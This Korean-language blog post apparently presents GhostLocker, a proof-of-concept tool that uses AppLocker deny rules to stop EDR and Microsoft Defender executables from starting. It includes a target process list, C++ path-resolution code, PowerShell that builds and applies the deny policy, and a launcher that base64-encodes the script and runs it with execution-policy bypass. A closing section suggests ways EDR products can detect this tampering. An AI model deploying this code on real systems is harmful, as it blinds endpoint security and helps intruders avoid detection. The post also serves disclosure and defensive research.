
AppLocker 기반 EDR 무력화
Fairy-Law에 관한 제 글(커널 완화를 사용하여 EDR(Endpoint Detection & Response) 솔루션을 비활성화) 이후, diversenok 님께서 IFEO(Image File Execution Options) 예외가 타사 애플리케이션에 너무 침습적이라고 지적해 주셨습니다. 이로 인해 더 나은 접근 방식, 즉 관리자가 이미 AppLocker를 통해 보유하고 있는 고유한 권한을 활용하는 방법이 탄생했습니다.
해당 개념은 관리자가 자신의 시스템에서 모든 소프트웨어를 합법적으로 제어할 수 있다는 점을 강조한 diversenok 님으로부터 영감을 받았습니다. 이 통찰력을 바탕으로 AppLocker를 기본 Windows 제어 메커니즘으로 사용하는 기법을 개발했습니다. 본 연구는 EDR 제어를 위한 AppLocker의 기술적 구현을 탐구하고, 이를 WDAC와 비교하며 실용적인 개념 증명 도구를 제시합니다.
AppLocker는 Windows 7에서 도입되었으며 Windows 8.1, 10(Enterprise) 및 Windows Server 2012/R2/2016+ 에서 향상되었습니다. 이는 애플리케이션 허용 목록(whitelisting) 프레임워크로, 관리자가 특정 사용자 또는 그룹에 대해 어떤 실행 파일, 스크립트 또는 설치 프로그램이 실행될 수 있는지 정확하게 정의할 수 있게 합니다.
AppIDSvc(Application Identity Service)
LocalService 계정으로 실행됩니다.AppID.sys(커널 드라이버)
SeSrpAccessCheck를 사용하여 규칙 평가를 수행합니다.설명:
AppID.sys는 커널 모드에서 규칙 평가를 수행하지만, DLL 적용은 자동으로 이루어지지 않습니다.
커널 드라이버는 자체적으로 DLL 로드를 적극적으로 모니터링하지 않습니다. 대신 사용자 모드 구성 요소가 IOCTL을 통해 드라이버에 명시적으로 쿼리하여 DLL 로드가 허용되는지 확인해야 합니다.
결과적으로 AppLocker DLL 규칙은 사실상 클라이언트 측 보호 메커니즘으로 작동합니다.
AppLocker는 두 가지 주요 규칙 범주를 지원합니다.
허용 규칙: 정의된 애플리케이션의 실행을 명시적으로 허용합니다.
거부 규칙: 정의된 애플리케이션의 실행을 명시적으로 차단합니다.
C:\Program Files\Security\*.exeHKLM\Software\Policies\Microsoft\Windows\SrpV2 (XML 정책 저장, 영구)
HKLM\SYSTEM\CurrentControlSet\Control\Srp\Gp\Exe (SDDL 바이너리 형식, 활성 적용)
HKLM\SYSTEM\CurrentControlSet\Control\AppID\CertStore (인증서 캐시)
기본적으로 AppLocker는 서비스나 SYSTEM 프로세스에 규칙을 적용하지 않습니다.
이 동작을 활성화하는 그래픽 사용자 인터페이스 옵션은 없습니다.
서비스에 대한 적용은 XML 정책에서 RuleCollectionExtensions를 사용해야만 활성화할 수 있습니다.
서비스에 AppLocker 규칙을 적용하려면 다음 정책 섹션이 필요합니다.
<RuleCollectionExtensions>
<ThresholdExtensions>
<Services EnforcementMode="Enabled"/>
</ThresholdExtensions>
<RedstoneExtensions>
<SystemApps Allow="Enabled"/>
</RedstoneExtensions>
</RuleCollectionExtensions>
확장 이름에서 알 수 있듯이 이러한 옵션은 Windows 10+에서만 지원되며 이전 버전에서는 사용할 수 없습니다. Microsoft - AppLocker 규칙 컬렉션 확장 참조
AppID.sys가 애플리케이션 특성 평가STATUS_ACCESS_DISABLED_BY_POLICY_OTHER로 프로세스 생성 중단⚠️ AppLocker는 실행 중인 프로세스를 종료하지 않습니다.
AppLocker 적용은 새로운 프로세스 생성 이벤트에만 적용됩니다. 이미 실행 중인 EDR 프로세스는 시스템 재부팅까지 계속 실행됩니다. 이는 근본적인 아키텍처 제약입니다.
커널 드라이버 텔레메트리 주의 사항:
EDR 사용자 공간 실행 파일을 차단한 후에도 커널 드라이버(*.sys)는 활성 상태로 유지되며 계속 작동합니다. 이러한 드라이버는 다음을 계속 수행합니다.
그러나 광범위한 테스트 결과 이러한 텔레메트리는 사실상 기능적으로 무용지물이 되는 것으로 나타났습니다. 사용자 공간 분석 엔진, 상관 관계 시스템 및 보고 메커니즘이 없으면 원시 텔레메트리 데이터를 실행 가능한 탐지로 처리할 수 없습니다. EDR 솔루션은 다음을 위해 사용자 공간 구성 요소에 크게 의존합니다.
GhostLocker는 EDR 실행 파일을 차단하기 위해 AppLocker 정책 배포를 자동화하는 C++ 구현입니다.
GhostLocker는 두 가지 구현 변형을 제공합니다.
main.cpp – 동적 열거 버전이 버전은 실행 중인 프로세스를 열거하고 네이티브 API(NtQuerySystemInformation)를 사용하여 전체 이미지 경로를 확인합니다.
확인된 절대 경로는 정확한 AppLocker 거부 규칙을 생성하는 데 사용됩니다.
이 도구는 TH32CS_SNAPPROCESS와 함께 CreateToolhelp32Snapshot을 사용하여 모든 실행 중인 프로세스를 열거합니다. 미리 정의된 대상 목록과 프로세스 이름을 대소문자를 구분하지 않는 일치(_wcsicmp)로 비교합니다.
왜 이 접근 방식인가?
FindTargetsAndQueryPaths)const wchar_t* targetNames[] = {
L"MpDefenderCoreService.exe",
L"MsMpEng.exe",
L"WinDefend.exe",
L"EDR_Component_Name.exe",
};
SYSTEM_PROCESS_ID_INFORMATION spi = { 0 };
spi.ProcessId = PID;
spi.ImageName.MaximumLength = 1024;
spi.ImageName.Buffer = (PWSTR)allocBuffer;
status = NtQuerySystemInformation(
SystemProcessIdInformation,
&spi,
sizeof(spi),
0
);
기술 세부 사항:
SystemProcessIdInformation(0x58) 정보 클래스 사용\Device\HarddiskVolume3\Windows\System32\...경로 변환 로직:
std::wstring ForceHarddiskVolumeToC(const std::wstring& ntPath)
{
const std::wstring prefix = L"\\Device\\HarddiskVolume3\\";
if (ntPath.rfind(prefix, 0) == 0)
{
std::wstring rest = ntPath.substr(prefix.length());
return L"C:\\" + rest;
}
return ntPath;
}
제한 사항: 하드코딩된 HarddiskVolume3 가정. 볼륨 번호를 동적으로 확인하도록 개선해야 합니다.
이 도구는 완전한 PowerShell 스크립트를 포함하며, 다음을 수행합니다.
a) 대상 경로 검증
foreach ($exe in $ExeToBlock) {
if (!(Test-Path $exe)) {
Write-Host '[!] ERROR: File does not exist:' $exe -ForegroundColor Red
exit 1
}
}
b) 동적 거부 규칙 생성
foreach ($exe in $ExeToBlock) {
$id = [guid]::NewGuid().ToString()
$name = Split-Path $exe -Leaf
$dynamicBlockRules += '<FilePathRule Id="' + $id + '" Name="Block ' + $name +
'" Description="Blocked by policy" UserOrGroupSid="S-1-1-0" Action="Deny">'
$dynamicBlockRules += '<Conditions><FilePathCondition Path="' + $exe + '" /></Conditions>'
$dynamicBlockRules += '</FilePathRule>'
}
주요 정책 요소:
UserOrGroupSid="S-1-1-0": 모든 사용자에게 적용Action="Deny": 명시적 차단 규칙EnforcementMode="Enabled": EXE 규칙에 대한 활성 적용c) 정책 적용
Set-AppLockerPolicy -XmlPolicy $tempPath -ErrorAction Stop
gpupdate /force | Out-Null
void RunPowerShellInMemory()
{
std::wstring script = BuildFullPowerShellScript();
const BYTE* bytes = reinterpret_cast<const BYTE*>(script.c_str());
size_t byteLen = script.size() * sizeof(wchar_t);
std::wstring encoded = Base64Encode(bytes, byteLen);
std::wstring params = L"-NoProfile -ExecutionPolicy Bypass -EncodedCommand ";
params += encoded;
ShellExecuteW(NULL, L"runas", L"powershell.exe", params.c_str(), NULL, SW_SHOW);
}
기술적 근거:
-EncodedCommand는 UTF-16LE를 기대합니다.-ExecutionPolicy Bypass: 스크립트 실행 정책을 무시합니다.runas 동사: 관리자 권한을 위한 UAC 상승을 트리거합니다.main_improved.cpp – 정적 와일드카드 기반 버전diversenok의 설명 이후, AppLocker 경로 규칙이 와일드카드 일치를 지원하며 전체 실행 파일 경로가 필요하지 않다는 것이 명확해졌습니다.
이 개선된 버전은 모든 프로세스 열거 및 네이티브 경로 확인 로직을 제거하고 대신 다음과 같은 정적 와일드카드 규칙에 의존합니다: *\MsMpEng.exe
⚠️ 성공적인 배포를 위한 전제 조건:
sc start AppIDSvc여러 상용 EDR 솔루션을 대상으로 효과를 평가하기 위해 광범위한 통제된 테스트를 수행했습니다.
테스트 환경:
행동 분석 실패:
관리 콘솔 관점:
커널 드라이버가 계속 실행되고 텔레메트리 데이터 스트림을 수집함에도 불구하고, 사용자 공간 처리 구성 요소가 없으면 수집된 데이터는 효과가 없습니다.
계속 작동하는 것:
중요한 통찰력:
현대 EDR 아키텍처는 커널 드라이버와 사용자 공간 분석 엔진 간의 긴밀한 결합에 의존합니다.
이 결합을 끊으면 텔레메트리 수집이 계속되더라도 EDR은 사실상 블라인드 상태가 됩니다.
스크린샷 (AppLocker 정책 열거 및 적용):

스크린샷 (WinDefend 비활성화):
버전 2 스크린샷

Windows Defender Application Control(WDAC)은 Windows 10에서 도입되었으며 Microsoft의 현대적인 애플리케이션 제어 프레임워크를 나타냅니다.
사용자 모드와 커널 모드 바이너리 모두에 정책을 적용합니다.
핵심 특성:
WDAC 정책 저장소:
C:\Windows\System32\CodeIntegrity\SIPolicy.p7b (활성 정책, 서명됨)
C:\Windows\System32\CodeIntegrity\CIPolicies\ (다중 정책)
EFI 시스템 파티션 (UEFI 적용)
Krueger는 EDR 드라이버 차단을 위한 WDAC 남용을 시연했습니다.
주요 차이점:
AppLocker(GhostLocker)를 사용해야 하는 경우:
WDAC(Krueger 스타일)를 사용해야 하는 경우:
Windows는 Get-AppLockerFileInformation API를 제공하여 현재 AppLocker 정책 하에서 특정 실행 파일이 차단되는지 테스트할 수 있습니다.
EDR은 이 메커니즘을 사용하여 정책 변경 후 자체 바이너리나 서비스가 실행이 거부될지 사전에 확인할 수 있습니다.
핵심 구성 요소가 허용에서 거부로 전환되면 이는 높은 신뢰도의 변조 조건으로 처리되어야 합니다.
AppLocker 정책 업데이트는 사용자 모드에서 명시적인 IOCTL 호출을 통해 AppID.sys에 전달됩니다.
이는 적용 상태가 변경되었음을 나타내는 명확한 신호 경로를 제공합니다.
커널 드라이버는 이러한 알림을 관찰하고 이를 보호 서비스의 후속 실행 실패와 연결하여 정책 기반 무력화를 정확하게 탐지할 수 있습니다.
AppLocker 정책은 잘 정의된 레지스트리 위치에 재부팅 후에도 유지됩니다.
EDR 솔루션은 재부팅 전 관련 정책 상태를 스냅샷으로 저장하고 시스템 시작 후 적용 일관성을 확인할 수 있습니다.
예상 실행 상태와 재부팅 후 적용 간의 불일치는 의도적인 정책 조작을 강력히 나타냅니다.
Windows는 SRP/AppLocker 적용에서 프로세스를 제외하기 위한 기본 메커니즘을 포함합니다.
보안 제품은 이러한 메커니즘과 통합하여 운영 연속성을 보장해야 합니다.
이러한 제외를 고려하지 않는 것은 AppLocker의 한계가 아니라 보호 대상 제품의 아키텍처적 실수입니다.
이러한 탐지 전략 중 어느 것도 AppLocker를 우회하거나 Windows 보안 경계를 위반할 필요가 없습니다.
이는 전적으로 운영 체제에서 이미 제공하는 문서화된 동작과 인터페이스에 의존합니다.
GhostLocker는 합법적인 Windows 보안 기능인 AppLocker가 사용자 공간 프로세스 차단을 통해 EDR 솔루션을 무력화하는 데 사용될 수 있음을 보여줍니다.
이 연구는 커널 텔레메트리 수집과 사용자 공간 분석 엔진을 긴밀하게 결합하는 현재 EDR 설계의 근본적인 아키텍처 취약점을 강조합니다.
본 연구는 교육 및 방어적 보안 목적으로만 제공됩니다.
설명된 기술은 명시적 허가를 받은 승인된 테스트 환경에서만 사용해야 합니다.
GhostLocker, 특히 C# 구현에 기여하는 데 관심이 있으시다면 언제든지 환영합니다.
| 특징 | AppLocker | WDAC |
|---|
| 적용 범위 | 사용자 모드 실행 파일만 | 사용자 모드 + 커널 모드 드라이버 |
| 적용 시점 | 프로세스 생성 | 부팅 + 런타임 |
| 사용자 세분성 | 사용자/그룹별 규칙 | 시스템 전체 |
| 기본 모드 | 기본 허용 | 기본 거부 |
| 규칙 유형 | 경로, 해시, 게시자 | 해시, 게시자, WHQLFile, 버전 |
| 드라이버 차단 | ❌ 불가 | ✅ 가능 |
| 정책 복잡성 | 보통 | 높음 |
| 감사 모드 | ✅ 예 | ✅ 예 |